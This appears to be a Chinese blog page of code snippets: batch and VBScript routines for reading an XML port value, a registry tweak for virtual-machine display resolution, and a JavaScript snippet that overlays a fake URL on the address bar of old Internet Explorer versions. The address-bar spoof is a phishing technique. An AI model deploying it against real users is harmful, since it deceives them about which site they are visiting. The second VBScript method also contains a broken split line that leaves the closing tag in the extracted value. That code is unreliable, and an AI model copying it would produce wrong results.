代码 - 翼展电脑服务中心

批处理获取XML节点数值

2023-6-9 乱云飞代码评论(0) 浏览(264) 标签: 批处理 VBS 获取XML 读取XML

//用bat获取XML节点
SET FILE=onvif.xml
SET NODE=http_port
FOR /F "tokens=2 delims=<>/" %%a IN ('type %FILE%^| find "<%NODE%>"') DO SET VALUE=%%a
ECHO 端口号是：%VALUE%
cmd/k
---------------------------------------------------------------------------------------
//用VBS获取XML节点
'定义变量
Dim FILE, NODE, VALUE
Dim oShell, oExec, oStdOut, line

'设置文件名和节点名
FILE = "onvif.xml"
NODE = "http_port"

'使用CMD命令获取节点值
Set oShell = CreateObject("WScript.Shell")
Set oExec = oShell.Exec("cmd /c type " & FILE & " | find """ & NODE & """")
Set oStdOut = oExec.StdOut

'读取输出结果并提取值
Do While Not oStdOut.AtEndOfStream
    line = oStdOut.ReadLine
    If InStr(line, "<" & NODE & ">") > 0 Then
        VALUE = Split(line, "<" & NODE & ">")(1)
        VALUE = Split(VALUE, "</" & NODE & ">")(0)
    End If
Loop

'输出结果
MsgBox "端口号是：" & VALUE
---------------------------------------------------------------------------------------
//用VBS获取XML节点方法2，不弹出CMD窗口
Dim fso, file, stream, str, node, value

' 创建 File System Object
Set fso = CreateObject("Scripting.FileSystemObject")

' 打开文件
Set file = fso.OpenTextFile("onvif.xml", 1)

' 读取文件内容
str = file.ReadAll

' 关闭文件
file.Close

' 查找节点
node = "http_port"
value = ""

' 循环查找节点并获取值
For Each line In Split(str, vbCrLf)
    If InStr(line, "<" & node & ">") > 0 Then
        value = Split(line, "<" & node & ">")(1)
        value = Split(value, "")(0)
        Exit For
    End If
Next

' 输出结果
If value <> "" Then
    WScript.Echo "端口号是：" & value
End If

自动运行命令行程序并输入选项.VBS

2022-6-21 乱云飞代码评论(0) 浏览(11) 标签: 启动程序 VBS 自动输入

比较恐怖的一段代码，可以篡改浏览器的地址，只在IE11以下浏览器有效

2021-9-27 乱云飞代码评论(0) 浏览(622) 标签: 网页代码篡改浏览器篡改地址栏

<SCRIPT LANGUAGE="JavaScript">		//IE11以下浏览器可用
oPopup = window.createPopup();oPopupBody = oPopup.document.body;
oPopupBody.innerHTML = " https://www.80c.cc/";	//显示的网址
function pop() {oPopup.show(95, 30, 500, 18);	//座标，宽高
startani=setTimeout("pop();",0);}pop();
</SCRIPT>

禁止虚拟机WINDOWS自动调整分辨率

2021-8-14 乱云飞代码评论(0) 浏览(565) 标签: 虚拟机注册表分辨率

打开注册表定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\GraphicsDrivers\Configuration
在Configuration项下查找SIMULATED或NOEDID开头的项；
查找的项展开有个00项，00项展开又还有个00项，两个00项都要修改；
PrimSurfSize.cx
PrimSurfSize.cy
把这两个键值双击修改，选中基数十进制，输入对应的分辨率数值，
比如PrimSurfSize.cx为1920，PrimSurfSize.cy为1080。
至此重启Windows，唤醒Windows设备就应该正常不会出现重置的问题了。